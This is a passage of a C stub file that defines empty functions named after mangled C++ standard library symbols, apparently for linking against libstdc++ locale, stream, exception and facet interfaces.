void _ZNSt19basic_ostringstreamIwSt11char_traitsIwESaIwEEC2ESt13_Ios_Openmode() {} ;
void _ZNSt19basic_ostringstreamIwSt11char_traitsIwESaIwEED0Ev() {} ;
void _ZNSt19basic_ostringstreamIwSt11char_traitsIwESaIwEED1Ev() {} ;
void _ZNSt19basic_ostringstreamIwSt11char_traitsIwESaIwEED2Ev() {} ;
void _ZNSt19istreambuf_iteratorIcSt11char_traitsIcEEppEv() {} ;
void _ZNSt19istreambuf_iteratorIwSt11char_traitsIwEEppEv() {} ;
void _ZNSt5ctypeIcE13classic_tableEv() {} ;
void _ZNSt5ctypeIcEC1EP15__locale_structPKtbm() {} ;
void _ZNSt5ctypeIcEC1EPKtbm() {} ;
void _ZNSt5ctypeIcEC2EP15__locale_structPKtbm() {} ;
void _ZNSt5ctypeIcEC2EPKtbm() {} ;
void _ZNSt5ctypeIcED0Ev() {} ;
void _ZNSt5ctypeIcED1Ev() {} ;
void _ZNSt5ctypeIcED2Ev() {} ;
void _ZNSt5ctypeIwE19_M_initialize_ctypeEv() {} ;
void _ZNSt5ctypeIwEC1EP15__locale_structm() {} ;
void _ZNSt5ctypeIwEC1Em() {} ;
void _ZNSt5ctypeIwEC2EP15__locale_structm() {} ;
void _ZNSt5ctypeIwEC2Em() {} ;
void _ZNSt5ctypeIwED0Ev() {} ;
void _ZNSt5ctypeIwED1Ev() {} ;
void _ZNSt5ctypeIwED2Ev() {} ;
void _ZNSt6gslice8_IndexerC1EmRKSt8valarrayImES4_() {} ;
void _ZNSt6gslice8_IndexerC2EmRKSt8valarrayImES4_() {} ;
void _ZNSt6locale11_M_coalesceERKS_S1_i() {} ;
void _ZNSt6locale21_S_normalize_categoryEi() {} ;
void _ZNSt6locale5_Impl16_M_install_cacheEPKNS_5facetEm() {} ;
void _ZNSt6locale5_Impl16_M_install_facetEPKNS_2idEPKNS_5facetE() {} ;
void _ZNSt6locale5_Impl16_M_replace_facetEPKS0_PKNS_2idE() {} ;
void _ZNSt6locale5_ImplC1EPKcm() {} ;
void _ZNSt6locale5_ImplC1ERKS0_m() {} ;
void _ZNSt6locale5_ImplC1Em() {} ;
void _ZNSt6locale5_ImplC2EPKcm() {} ;
void _ZNSt6locale5_ImplC2ERKS0_m() {} ;
void _ZNSt6locale5_ImplC2Em() {} ;
void _ZNSt6locale5_ImplD1Ev() {} ;
void _ZNSt6locale5_ImplD2Ev() {} ;
void _ZNSt6locale5facet13_S_get_c_nameEv() {} ;
void _ZNSt6locale5facet15_S_get_c_localeEv() {} ;
void _ZNSt6locale5facet17_S_clone_c_localeERP15__locale_struct() {} ;
void _ZNSt6locale5facet18_S_create_c_localeERP15__locale_structPKcS2_() {} ;
void _ZNSt6locale5facet19_S_destroy_c_localeERP15__locale_struct() {} ;
void _ZNSt6locale5facetD0Ev() {} ;
void _ZNSt6locale5facetD1Ev() {} ;
void _ZNSt6locale5facetD2Ev() {} ;
void _ZNSt6locale6globalERKS_() {} ;
void _ZNSt6locale7classicEv() {} ;
void _ZNSt6localeC1EPKc() {} ;
void _ZNSt6localeC1EPNS_5_ImplE() {} ;
void _ZNSt6localeC1ERKS_() {} ;
void _ZNSt6localeC1ERKS_PKci() {} ;
void _ZNSt6localeC1ERKS_S1_i() {} ;
void _ZNSt6localeC1Ev() {} ;
void _ZNSt6localeC2EPKc() {} ;
void _ZNSt6localeC2EPNS_5_ImplE() {} ;
void _ZNSt6localeC2ERKS_() {} ;
void _ZNSt6localeC2ERKS_PKci() {} ;
void _ZNSt6localeC2ERKS_S1_i() {} ;
void _ZNSt6localeC2Ev() {} ;
void _ZNSt6localeD1Ev() {} ;
void _ZNSt6localeD2Ev() {} ;
void _ZNSt6localeaSERKS_() {} ;
void _ZNSt7codecvtIcc11__mbstate_tEC1EP15__locale_structm() {} ;
void _ZNSt7codecvtIcc11__mbstate_tEC1Em() {} ;
void _ZNSt7codecvtIcc11__mbstate_tEC2EP15__locale_structm() {} ;
void _ZNSt7codecvtIcc11__mbstate_tEC2Em() {} ;
void _ZNSt7codecvtIcc11__mbstate_tED0Ev() {} ;
void _ZNSt7codecvtIcc11__mbstate_tED1Ev() {} ;
void _ZNSt7codecvtIcc11__mbstate_tED2Ev() {} ;
void _ZNSt7codecvtIwc11__mbstate_tEC1EP15__locale_structm() {} ;
void _ZNSt7codecvtIwc11__mbstate_tEC1Em() {} ;
void _ZNSt7codecvtIwc11__mbstate_tEC2EP15__locale_structm() {} ;
void _ZNSt7codecvtIwc11__mbstate_tEC2Em() {} ;
void _ZNSt7codecvtIwc11__mbstate_tED0Ev() {} ;
void _ZNSt7codecvtIwc11__mbstate_tED1Ev() {} ;
void _ZNSt7codecvtIwc11__mbstate_tED2Ev() {} ;
void _ZNSt7collateIcEC1EP15__locale_structm() {} ;
void _ZNSt7collateIcEC1Em() {} ;
void _ZNSt7collateIcEC2EP15__locale_structm() {} ;
void _ZNSt7collateIcEC2Em() {} ;
void _ZNSt7collateIcED0Ev() {} ;
void _ZNSt7collateIcED1Ev() {} ;
void _ZNSt7collateIcED2Ev() {} ;
void _ZNSt7collateIwEC1EP15__locale_structm() {} ;
void _ZNSt7collateIwEC1Em() {} ;
void _ZNSt7collateIwEC2EP15__locale_structm() {} ;
void _ZNSt7collateIwEC2Em() {} ;
void _ZNSt7collateIwED0Ev() {} ;
void _ZNSt7collateIwED1Ev() {} ;
void _ZNSt7collateIwED2Ev() {} ;
void _ZNSt7num_getIcSt19istreambuf_iteratorIcSt11char_traitsIcEEEC1Em() {} ;
void _ZNSt7num_getIcSt19istreambuf_iteratorIcSt11char_traitsIcEEEC2Em() {} ;
void _ZNSt7num_getIcSt19istreambuf_iteratorIcSt11char_traitsIcEEED0Ev() {} ;
void _ZNSt7num_getIcSt19istreambuf_iteratorIcSt11char_traitsIcEEED1Ev() {} ;
void _ZNSt7num_getIcSt19istreambuf_iteratorIcSt11char_traitsIcEEED2Ev() {} ;
void _ZNSt7num_getIwSt19istreambuf_iteratorIwSt11char_traitsIwEEEC1Em() {} ;
void _ZNSt7num_getIwSt19istreambuf_iteratorIwSt11char_traitsIwEEEC2Em() {} ;
void _ZNSt7num_getIwSt19istreambuf_iteratorIwSt11char_traitsIwEEED0Ev() {} ;
void _ZNSt7num_getIwSt19istreambuf_iteratorIwSt11char_traitsIwEEED1Ev() {} ;
void _ZNSt7num_getIwSt19istreambuf_iteratorIwSt11char_traitsIwEEED2Ev() {} ;
void _ZNSt7num_putIcSt19ostreambuf_iteratorIcSt11char_traitsIcEEEC1Em() {} ;
void _ZNSt7num_putIcSt19ostreambuf_iteratorIcSt11char_traitsIcEEEC2Em() {} ;
void _ZNSt7num_putIcSt19ostreambuf_iteratorIcSt11char_traitsIcEEED0Ev() {} ;
void _ZNSt7num_putIcSt19ostreambuf_iteratorIcSt11char_traitsIcEEED1Ev() {} ;
void _ZNSt7num_putIcSt19ostreambuf_iteratorIcSt11char_traitsIcEEED2Ev() {} ;
void _ZNSt7num_putIwSt19ostreambuf_iteratorIwSt11char_traitsIwEEEC1Em() {} ;
void _ZNSt7num_putIwSt19ostreambuf_iteratorIwSt11char_traitsIwEEEC2Em() {} ;
void _ZNSt7num_putIwSt19ostreambuf_iteratorIwSt11char_traitsIwEEED0Ev() {} ;
void _ZNSt7num_putIwSt19ostreambuf_iteratorIwSt11char_traitsIwEEED1Ev() {} ;
void _ZNSt7num_putIwSt19ostreambuf_iteratorIwSt11char_traitsIwEEED2Ev() {} ;
void _ZNSt8bad_castD0Ev() {} ;
void _ZNSt8bad_castD1Ev() {} ;
void _ZNSt8bad_castD2Ev() {} ;
void _ZNSt8ios_base13_M_grow_wordsEib() {} ;
void _ZNSt8ios_base15sync_with_stdioEb() {} ;
void _ZNSt8ios_base17_M_call_callbacksENS_5eventE() {} ;
void _ZNSt8ios_base17register_callbackEPFvNS_5eventERS_iEi() {} ;
void _ZNSt8ios_base20_M_dispose_callbacksEv() {} ;
void _ZNSt8ios_base4InitC1Ev() {} ;
void _ZNSt8ios_base4InitC2Ev() {} ;
void _ZNSt8ios_base4InitD1Ev() {} ;
void _ZNSt8ios_base4InitD2Ev() {} ;
void _ZNSt8ios_base5imbueERKSt6locale() {} ;
void _ZNSt8ios_base6xallocEv() {} ;
void _ZNSt8ios_base7_M_initEv() {} ;
void _ZNSt8ios_base7failureC1ERKSs() {} ;
void _ZNSt8ios_base7failureC2ERKSs() {} ;
void _ZNSt8ios_base7failureD0Ev() {} ;
void _ZNSt8ios_base7failureD1Ev() {} ;
void _ZNSt8ios_base7failureD2Ev() {} ;
void _ZNSt8ios_baseC1Ev() {} ;
void _ZNSt8ios_baseC2Ev() {} ;
void _ZNSt8ios_baseD0Ev() {} ;
void _ZNSt8ios_baseD1Ev() {} ;
void _ZNSt8ios_baseD2Ev() {} ;
void _ZNSt8messagesIcEC1EP15__locale_structPKcm() {} ;
void _ZNSt8messagesIcEC1Em() {} ;
void _ZNSt8messagesIcEC2EP15__locale_structPKcm() {} ;
void _ZNSt8messagesIcEC2Em() {} ;
void _ZNSt8messagesIcED0Ev() {} ;
void _ZNSt8messagesIcED1Ev() {} ;
void _ZNSt8messagesIcED2Ev() {} ;
void _ZNSt8messagesIwEC1EP15__locale_structPKcm() {} ;
void _ZNSt8messagesIwEC1Em() {} ;
void _ZNSt8messagesIwEC2EP15__locale_structPKcm() {} ;
void _ZNSt8messagesIwEC2Em() {} ;
void _ZNSt8messagesIwED0Ev() {} ;
void _ZNSt8messagesIwED1Ev() {} ;
void _ZNSt8messagesIwED2Ev() {} ;
void _ZNSt8numpunctIcE22_M_initialize_numpunctEP15__locale_struct() {} ;
void _ZNSt8numpunctIcEC1EP15__locale_structm() {} ;
void _ZNSt8numpunctIcEC1EPSt16__numpunct_cacheIcEm() {} ;
void _ZNSt8numpunctIcEC1Em() {} ;
void _ZNSt8numpunctIcEC2EP15__locale_structm() {} ;
void _ZNSt8numpunctIcEC2EPSt16__numpunct_cacheIcEm() {} ;
void _ZNSt8numpunctIcEC2Em() {} ;
void _ZNSt8numpunctIcED0Ev() {} ;
void _ZNSt8numpunctIcED1Ev() {} ;
void _ZNSt8numpunctIcED2Ev() {} ;
void _ZNSt8numpunctIwE22_M_initialize_numpunctEP15__locale_struct() {} ;
void _ZNSt8numpunctIwEC1EP15__locale_structm() {} ;
void _ZNSt8numpunctIwEC1Em() {} ;
void _ZNSt8numpunctIwEC2EP15__locale_structm() {} ;
void _ZNSt8numpunctIwEC2Em() {} ;
void _ZNSt8numpunctIwED0Ev() {} ;
void _ZNSt8numpunctIwED1Ev() {} ;
void _ZNSt8numpunctIwED2Ev() {} ;
void _ZNSt8time_getIcSt19istreambuf_iteratorIcSt11char_traitsIcEEEC1Em() {} ;
void _ZNSt8time_getIcSt19istreambuf_iteratorIcSt11char_traitsIcEEEC2Em() {} ;
void _ZNSt8time_getIcSt19istreambuf_iteratorIcSt11char_traitsIcEEED0Ev() {} ;
void _ZNSt8time_getIcSt19istreambuf_iteratorIcSt11char_traitsIcEEED1Ev() {} ;
void _ZNSt8time_getIcSt19istreambuf_iteratorIcSt11char_traitsIcEEED2Ev() {} ;
void _ZNSt8time_getIwSt19istreambuf_iteratorIwSt11char_traitsIwEEEC1Em() {} ;
void _ZNSt8time_getIwSt19istreambuf_iteratorIwSt11char_traitsIwEEEC2Em() {} ;
void _ZNSt8time_getIwSt19istreambuf_iteratorIwSt11char_traitsIwEEED0Ev() {} ;
void _ZNSt8time_getIwSt19istreambuf_iteratorIwSt11char_traitsIwEEED1Ev() {} ;
void _ZNSt8time_getIwSt19istreambuf_iteratorIwSt11char_traitsIwEEED2Ev() {} ;
void _ZNSt8time_putIcSt19ostreambuf_iteratorIcSt11char_traitsIcEEEC1Em() {} ;
void _ZNSt8time_putIcSt19ostreambuf_iteratorIcSt11char_traitsIcEEEC2Em() {} ;
void _ZNSt8time_putIcSt19ostreambuf_iteratorIcSt11char_traitsIcEEED0Ev() {} ;
void _ZNSt8time_putIcSt19ostreambuf_iteratorIcSt11char_traitsIcEEED1Ev() {} ;
void _ZNSt8time_putIcSt19ostreambuf_iteratorIcSt11char_traitsIcEEED2Ev() {} ;
void _ZNSt8time_putIwSt19ostreambuf_iteratorIwSt11char_traitsIwEEEC1Em() {} ;
void _ZNSt8time_putIwSt19ostreambuf_iteratorIwSt11char_traitsIwEEEC2Em() {} ;
void _ZNSt8time_putIwSt19ostreambuf_iteratorIwSt11char_traitsIwEEED0Ev() {} ;
void _ZNSt8time_putIwSt19ostreambuf_iteratorIwSt11char_traitsIwEEED1Ev() {} ;
void _ZNSt8time_putIwSt19ostreambuf_iteratorIwSt11char_traitsIwEEED2Ev() {} ;
void _ZNSt8valarrayImEC1ERKS0_() {} ;
void _ZNSt8valarrayImEC1Em() {} ;
void _ZNSt8valarrayImEC2ERKS0_() {} ;
void _ZNSt8valarrayImEC2Em() {} ;
void _ZNSt8valarrayImED1Ev() {} ;
void _ZNSt8valarrayImED2Ev() {} ;
void _ZNSt8valarrayImEixEm() {} ;
void _ZNSt9bad_allocD0Ev() {} ;
void _ZNSt9bad_allocD1Ev() {} ;
void _ZNSt9bad_allocD2Ev() {} ;
void _ZNSt9basic_iosIcSt11char_traitsIcEE10exceptionsESt12_Ios_Iostate() {} ;
void _ZNSt9basic_iosIcSt11char_traitsIcEE11_M_setstateESt12_Ios_Iostate() {} ;
void _ZNSt9basic_iosIcSt11char_traitsIcEE3tieEPSo() {} ;
void _ZNSt9basic_iosIcSt11char_traitsIcEE4fillEc() {} ;
void _ZNSt9basic_iosIcSt11char_traitsIcEE4initEPSt15basic_streambufIcS1_E() {} ;
void _ZNSt9basic_iosIcSt11char_traitsIcEE5clearESt12_Ios_Iostate() {} ;
void _ZNSt9basic_iosIcSt11char_traitsIcEE5imbueERKSt6locale() {} ;
void _ZNSt9basic_iosIcSt11char_traitsIcEE5rdbufEPSt15basic_streambufIcS1_E() {} ;
void _ZNSt9basic_iosIcSt11char_traitsIcEE7copyfmtERKS2_() {} ;
void _ZNSt9basic_iosIcSt11char_traitsIcEE8setstateESt12_Ios_Iostate() {} ;
void _ZNSt9basic_iosIcSt11char_traitsIcEEC1EPSt15basic_streambufIcS1_E() {} ;
void _ZNSt9basic_iosIcSt11char_traitsIcEEC1Ev() {} ;
void _ZNSt9basic_iosIcSt11char_traitsIcEEC2EPSt15basic_streambufIcS1_E() {} ;
void _ZNSt9basic_iosIcSt11char_traitsIcEEC2Ev() {} ;
void _ZNSt9basic_iosIcSt11char_traitsIcEED0Ev() {} ;
void _ZNSt9basic_iosIcSt11char_traitsIcEED1Ev() {} ;
void _ZNSt9basic_iosIcSt11char_traitsIcEED2Ev() {} ;
void _ZNSt9basic_iosIwSt11char_traitsIwEE10exceptionsESt12_Ios_Iostate() {} ;
void _ZNSt9basic_iosIwSt11char_traitsIwEE11_M_setstateESt12_Ios_Iostate() {} ;
void _ZNSt9basic_iosIwSt11char_traitsIwEE3tieEPSt13basic_ostreamIwS1_E() {} ;
void _ZNSt9basic_iosIwSt11char_traitsIwEE4fillEw() {} ;
void _ZNSt9basic_iosIwSt11char_traitsIwEE4initEPSt15basic_streambufIwS1_E() {} ;
void _ZNSt9basic_iosIwSt11char_traitsIwEE5clearESt12_Ios_Iostate() {} ;
void _ZNSt9basic_iosIwSt11char_traitsIwEE5imbueERKSt6locale() {} ;
void _ZNSt9basic_iosIwSt11char_traitsIwEE5rdbufEPSt15basic_streambufIwS1_E() {} ;
void _ZNSt9basic_iosIwSt11char_traitsIwEE7copyfmtERKS2_() {} ;
void _ZNSt9basic_iosIwSt11char_traitsIwEE8setstateESt12_Ios_Iostate() {} ;
void _ZNSt9basic_iosIwSt11char_traitsIwEEC1EPSt15basic_streambufIwS1_E() {} ;
void _ZNSt9basic_iosIwSt11char_traitsIwEEC1Ev() {} ;
void _ZNSt9basic_iosIwSt11char_traitsIwEEC2EPSt15basic_streambufIwS1_E() {} ;
void _ZNSt9basic_iosIwSt11char_traitsIwEEC2Ev() {} ;
void _ZNSt9basic_iosIwSt11char_traitsIwEED0Ev() {} ;
void _ZNSt9basic_iosIwSt11char_traitsIwEED1Ev() {} ;
void _ZNSt9basic_iosIwSt11char_traitsIwEED2Ev() {} ;
void _ZNSt9exceptionD0Ev() {} ;
void _ZNSt9exceptionD1Ev() {} ;
void _ZNSt9exceptionD2Ev() {} ;
void _ZNSt9money_getIcSt19istreambuf_iteratorIcSt11char_traitsIcEEEC1Em() {} ;
void _ZNSt9money_getIcSt19istreambuf_iteratorIcSt11char_traitsIcEEEC2Em() {} ;
void _ZNSt9money_getIcSt19istreambuf_iteratorIcSt11char_traitsIcEEED0Ev() {} ;
void _ZNSt9money_getIcSt19istreambuf_iteratorIcSt11char_traitsIcEEED1Ev() {} ;
void _ZNSt9money_getIcSt19istreambuf_iteratorIcSt11char_traitsIcEEED2Ev() {} ;
void _ZNSt9money_getIwSt19istreambuf_iteratorIwSt11char_traitsIwEEEC1Em() {} ;
void _ZNSt9money_getIwSt19istreambuf_iteratorIwSt11char_traitsIwEEEC2Em() {} ;
void _ZNSt9money_getIwSt19istreambuf_iteratorIwSt11char_traitsIwEEED0Ev() {} ;
void _ZNSt9money_getIwSt19istreambuf_iteratorIwSt11char_traitsIwEEED1Ev() {} ;
void _ZNSt9money_getIwSt19istreambuf_iteratorIwSt11char_traitsIwEEED2Ev() {} ;
void _ZNSt9money_putIcSt19ostreambuf_iteratorIcSt11char_traitsIcEEEC1Em() {} ;
void _ZNSt9money_putIcSt19ostreambuf_iteratorIcSt11char_traitsIcEEEC2Em() {} ;
void _ZNSt9money_putIcSt19ostreambuf_iteratorIcSt11char_traitsIcEEED0Ev() {} ;
void _ZNSt9money_putIcSt19ostreambuf_iteratorIcSt11char_traitsIcEEED1Ev() {} ;
void _ZNSt9money_putIcSt19ostreambuf_iteratorIcSt11char_traitsIcEEED2Ev() {} ;
void _ZNSt9money_putIwSt19ostreambuf_iteratorIwSt11char_traitsIwEEEC1Em() {} ;
void _ZNSt9money_putIwSt19ostreambuf_iteratorIwSt11char_traitsIwEEEC2Em() {} ;
void _ZNSt9money_putIwSt19ostreambuf_iteratorIwSt11char_traitsIwEEED0Ev() {} ;
void _ZNSt9money_putIwSt19ostreambuf_iteratorIwSt11char_traitsIwEEED1Ev() {} ;
void _ZNSt9money_putIwSt19ostreambuf_iteratorIwSt11char_traitsIwEEED2Ev() {} ;
void _ZNSt9type_infoD0Ev() {} ;
void _ZNSt9type_infoD1Ev() {} ;
void _ZNSt9type_infoD2Ev() {} ;
void _ZSt10unexpectedv() {} ;
void _ZSt13set_terminatePFvvE() {} ;
void _ZSt14__convert_to_vIdEvPKcRT_RSt12_Ios_IostateRKP15__locale_struct() {} ;
void _ZSt14__convert_to_vIeEvPKcRT_RSt12_Ios_IostateRKP15__locale_struct() {} ;
void _ZSt14__convert_to_vIfEvPKcRT_RSt12_Ios_IostateRKP15__locale_struct() {} ;
void _ZSt14__convert_to_vIgEvPKcRT_RSt12_Ios_IostateRKP15__locale_struct() {} ;
void _ZSt14set_unexpectedPFvvE() {} ;
void _ZSt15set_new_handlerPFvvE() {} ;
void _ZSt16__throw_bad_castv() {} ;
void _ZSt17__copy_streambufsIcSt11char_traitsIcEEiPSt15basic_streambufIT_T0_ES6_() {} ;
void _ZSt17__copy_streambufsIwSt11char_traitsIwEEiPSt15basic_streambufIT_T0_ES6_() {} ;
void _ZSt17__throw_bad_allocv() {} ;
void _ZSt18_Rb_tree_decrementPKSt18_Rb_tree_node_base() {} ;
void _ZSt18_Rb_tree_decrementPSt18_Rb_tree_node_base() {} ;
void _ZSt18_Rb_tree_incrementPKSt18_Rb_tree_node_base() {} ;
void _ZSt18_Rb_tree_incrementPSt18_Rb_tree_node_base() {} ;
void _ZSt18__throw_bad_typeidv() {} ;
void _ZSt18uncaught_exceptionv() {} ;
void _ZSt19__throw_ios_failurePKc() {} ;
void _ZSt19__throw_logic_errorPKc() {} ;
void _ZSt19__throw_range_errorPKc() {} ;
void _ZSt20_Rb_tree_black_countPKSt18_Rb_tree_node_baseS1_() {} ;
void _ZSt20_Rb_tree_rotate_leftPSt18_Rb_tree_node_baseRS0_() {} ;
void _ZSt20__throw_domain_errorPKc() {} ;
void _ZSt20__throw_length_errorPKc() {} ;
void _ZSt20__throw_out_of_rangePKc() {} ;
void _ZSt21_Rb_tree_rotate_rightPSt18_Rb_tree_node_baseRS0_() {} ;
void _ZSt21__throw_bad_exceptionv() {} ;
void _ZSt21__throw_runtime_errorPKc() {} ;
void _ZSt22__throw_overflow_errorPKc() {} ;
void _ZSt23__throw_underflow_errorPKc() {} ;
void _ZSt24__throw_invalid_argumentPKc() {} ;
void _ZSt28_Rb_tree_rebalance_for_erasePSt18_Rb_tree_node_baseRS_() {} ;
void _ZSt29_Rb_tree_insert_and_rebalancebPSt18_Rb_tree_node_baseS0_RS_() {} ;
void _ZSt2wsIcSt11char_traitsIcEERSt13basic_istreamIT_T0_ES6_() {} ;
void _ZSt2wsIwSt11char_traitsIwEERSt13basic_istreamIT_T0_ES6_() {} ;
void _ZSt4endlIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6_() {} ;
void _ZSt4endlIwSt11char_traitsIwEERSt13basic_ostreamIT_T0_ES6_() {} ;
void _ZSt4endsIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6_() {} ;
void _ZSt4endsIwSt11char_traitsIwEERSt13basic_ostreamIT_T0_ES6_() {} ;
void _ZSt5flushIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6_() {} ;
void _ZSt5flushIwSt11char_traitsIwEERSt13basic_ostreamIT_T0_ES6_() {} ;
void _ZSt7getlineIcSt11char_traitsIcESaIcEERSt13basic_istreamIT_T0_ES7_RSbIS4_S5_T1_E() {} ;
void _ZSt7getlineIcSt11char_traitsIcESaIcEERSt13basic_istreamIT_T0_ES7_RSbIS4_S5_T1_ES4_() {} ;
void _ZSt7getlineIwSt11char_traitsIwESaIwEERSt13basic_istreamIT_T0_ES7_RSbIS4_S5_T1_E() {} ;
void _ZSt7getlineIwSt11char_traitsIwESaIwEERSt13basic_istreamIT_T0_ES7_RSbIS4_S5_T1_ES4_() {} ;
void _ZSt9has_facetINSt17__gnu_cxx_ldbl1287num_getIcSt19istreambuf_iteratorIcSt11char_traitsIcEEEEEbRKSt6locale() {} ;
void _ZSt9has_facetINSt17__gnu_cxx_ldbl1287num_getIwSt19istreambuf_iteratorIwSt11char_traitsIwEEEEEbRKSt6locale() {} ;
void _ZSt9has_facetINSt17__gnu_cxx_ldbl1287num_putIcSt19ostreambuf_iteratorIcSt11char_traitsIcEEEEEbRKSt6locale() {} ;
void _ZSt9has_facetINSt17__gnu_cxx_ldbl1287num_putIwSt19ostreambuf_iteratorIwSt11char_traitsIwEEEEEbRKSt6locale() {} ;
void _ZSt9has_facetINSt17__gnu_cxx_ldbl1289money_getIcSt19istreambuf_iteratorIcSt11char_traitsIcEEEEEbRKSt6locale() {} ;
void _ZSt9has_facetINSt17__gnu_cxx_ldbl1289money_getIwSt19istreambuf_iteratorIwSt11char_traitsIwEEEEEbRKSt6locale() {} ;
void _ZSt9has_facetINSt17__gnu_cxx_ldbl1289money_putIcSt19ostreambuf_iteratorIcSt11char_traitsIcEEEEEbRKSt6locale() {} ;
void _ZSt9has_facetINSt17__gnu_cxx_ldbl1289money_putIwSt19ostreambuf_iteratorIwSt11char_traitsIwEEEEEbRKSt6locale() {} ;
void _ZSt9has_facetISt10moneypunctIcLb0EEEbRKSt6locale() {} ;
void _ZSt9has_facetISt10moneypunctIwLb0EEEbRKSt6locale() {} ;
void _ZSt9has_facetISt11__timepunctIcEEbRKSt6locale() {} ;
void _ZSt9has_facetISt11__timepunctIwEEbRKSt6locale() {} ;
void _ZSt9has_facetISt5ctypeIcEEbRKSt6locale() {} ;
void _ZSt9has_facetISt5ctypeIwEEbRKSt6locale() {} ;
void _ZSt9has_facetISt7codecvtIcc11__mbstate_tEEbRKSt6locale() {} ;
void _ZSt9has_facetISt7codecvtIwc11__mbstate_tEEbRKSt6locale() {} ;
void _ZSt9has_facetISt7collateIcEEbRKSt6locale() {} ;
void _ZSt9has_facetISt7collateIwEEbRKSt6locale() {} ;
void _ZSt9has_facetISt7num_getIcSt19istreambuf_iteratorIcSt11char_traitsIcEEEEbRKSt6locale() {} ;
void _ZSt9has_facetISt7num_getIwSt19istreambuf_iteratorIwSt11char_traitsIwEEEEbRKSt6locale() {} ;
void _ZSt9has_facetISt7num_putIcSt19ostreambuf_iteratorIcSt11char_traitsIcEEEEbRKSt6locale() {} ;
void _ZSt9has_facetISt7num_putIwSt19ostreambuf_iteratorIwSt11char_traitsIwEEEEbRKSt6locale() {} ;
void _ZSt9has_facetISt8messagesIcEEbRKSt6locale() {} ;
void _ZSt9has_facetISt8messagesIwEEbRKSt6locale() {} ;
void _ZSt9has_facetISt8numpunctIcEEbRKSt6locale() {} ;
void _ZSt9has_facetISt8numpunctIwEEbRKSt6locale() {} ;
void _ZSt9has_facetISt8time_getIcSt19istreambuf_iteratorIcSt11char_traitsIcEEEEbRKSt6locale() {} ;
void _ZSt9has_facetISt8time_getIwSt19istreambuf_iteratorIwSt11char_traitsIwEEEEbRKSt6locale() {} ;
void _ZSt9has_facetISt8time_putIcSt19ostreambuf_iteratorIcSt11char_traitsIcEEEEbRKSt6locale() {} ;
void _ZSt9has_facetISt8time_putIwSt19ostreambuf_iteratorIwSt11char_traitsIwEEEEbRKSt6locale() {} ;
void _ZSt9has_facetISt9money_getIcSt19istreambuf_iteratorIcSt11char_traitsIcEEEEbRKSt6locale() {} ;
void _ZSt9has_facetISt9money_getIwSt19istreambuf_iteratorIwSt11char_traitsIwEEEEbRKSt6locale() {} ;
void _ZSt9has_facetISt9money_putIcSt19ostreambuf_iteratorIcSt11char_traitsIcEEEEbRKSt6locale() {} ;
void _ZSt9has_facetISt9money_putIwSt19ostreambuf_iteratorIwSt11char_traitsIwEEEEbRKSt6locale() {} ;
void _ZSt9terminatev() {} ;
void _ZSt9use_facetINSt17__gnu_cxx_ldbl1287num_getIcSt19istreambuf_iteratorIcSt11char_traitsIcEEEEERKT_RKSt6locale() {} ;
void _ZSt9use_facetINSt17__gnu_cxx_ldbl1287num_getIwSt19istreambuf_iteratorIwSt11char_traitsIwEEEEERKT_RKSt6locale() {} ;
void _ZSt9use_facetINSt17__gnu_cxx_ldbl1287num_putIcSt19ostreambuf_iteratorIcSt11char_traitsIcEEEEERKT_RKSt6locale() {} ;
void _ZSt9use_facetINSt17__gnu_cxx_ldbl1287num_putIwSt19ostreambuf_iteratorIwSt11char_traitsIwEEEEERKT_RKSt6locale() {} ;
void _ZSt9use_facetINSt17__gnu_cxx_ldbl1289money_getIcSt19istreambuf_iteratorIcSt11char_traitsIcEEEEERKT_RKSt6locale() {} ;
void _ZSt9use_facetINSt17__gnu_cxx_ldbl1289money_getIwSt19istreambuf_iteratorIwSt11char_traitsIwEEEEERKT_RKSt6locale() {} ;
void _ZSt9use_facetINSt17__gnu_cxx_ldbl1289money_putIcSt19ostreambuf_iteratorIcSt11char_traitsIcEEEEERKT_RKSt6locale() {} ;
void _ZSt9use_facetINSt17__gnu_cxx_ldbl1289money_putIwSt19ostreambuf_iteratorIwSt11char_traitsIwEEEEERKT_RKSt6locale() {} ;
void _ZSt9use_facetISt10moneypunctIcLb0EEERKT_RKSt6locale() {} ;
void _ZSt9use_facetISt10moneypunctIcLb1EEERKT_RKSt6locale() {} ;
void _ZSt9use_facetISt10moneypunctIwLb0EEERKT_RKSt6locale() {} ;
void _ZSt9use_facetISt10moneypunctIwLb1EEERKT_RKSt6locale() {} ;
void _ZSt9use_facetISt11__timepunctIcEERKT_RKSt6locale() {} ;
void _ZSt9use_facetISt11__timepunctIwEERKT_RKSt6locale() {} ;
void _ZSt9use_facetISt5ctypeIcEERKT_RKSt6locale() {} ;
void _ZSt9use_facetISt5ctypeIwEERKT_RKSt6locale() {} ;
void _ZSt9use_facetISt7codecvtIcc11__mbstate_tEERKT_RKSt6locale() {} ;
void _ZSt9use_facetISt7codecvtIwc11__mbstate_tEERKT_RKSt6locale() {} ;
void _ZSt9use_facetISt7collateIcEERKT_RKSt6locale() {} ;
void _ZSt9use_facetISt7collateIwEERKT_RKSt6locale() {} ;
void _ZSt9use_facetISt7num_getIcSt19istreambuf_iteratorIcSt11char_traitsIcEEEERKT_RKSt6locale() {} ;
void _ZSt9use_facetISt7num_getIwSt19istreambuf_iteratorIwSt11char_traitsIwEEEERKT_RKSt6locale() {} ;
void _ZSt9use_facetISt7num_putIcSt19ostreambuf_iteratorIcSt11char_traitsIcEEEERKT_RKSt6locale() {} ;
void _ZSt9use_facetISt7num_putIwSt19ostreambuf_iteratorIwSt11char_traitsIwEEEERKT_RKSt6locale() {} ;
void _ZSt9use_facetISt8messagesIcEERKT_RKSt6locale() {} ;
void _ZSt9use_facetISt8messagesIwEERKT_RKSt6locale() {} ;
void _ZSt9use_facetISt8numpunctIcEERKT_RKSt6locale() {} ;
void _ZSt9use_facetISt8numpunctIwEERKT_RKSt6locale() {} ;
void _ZSt9use_facetISt8time_getIcSt19istreambuf_iteratorIcSt11char_traitsIcEEEERKT_RKSt6locale() {} ;
void _ZSt9use_facetISt8time_getIwSt19istreambuf_iteratorIwSt11char_traitsIwEEEERKT_RKSt6locale() {} ;
void _ZSt9use_facetISt8time_putIcSt19ostreambuf_iteratorIcSt11char_traitsIcEEEERKT_RKSt6locale() {} ;
void _ZSt9use_facetISt8time_putIwSt19ostreambuf_iteratorIwSt11char_traitsIwEEEERKT_RKSt6locale() {} ;
void _ZSt9use_facetISt9money_getIcSt19istreambuf_iteratorIcSt11char_traitsIcEEEERKT_RKSt6locale() {} ;
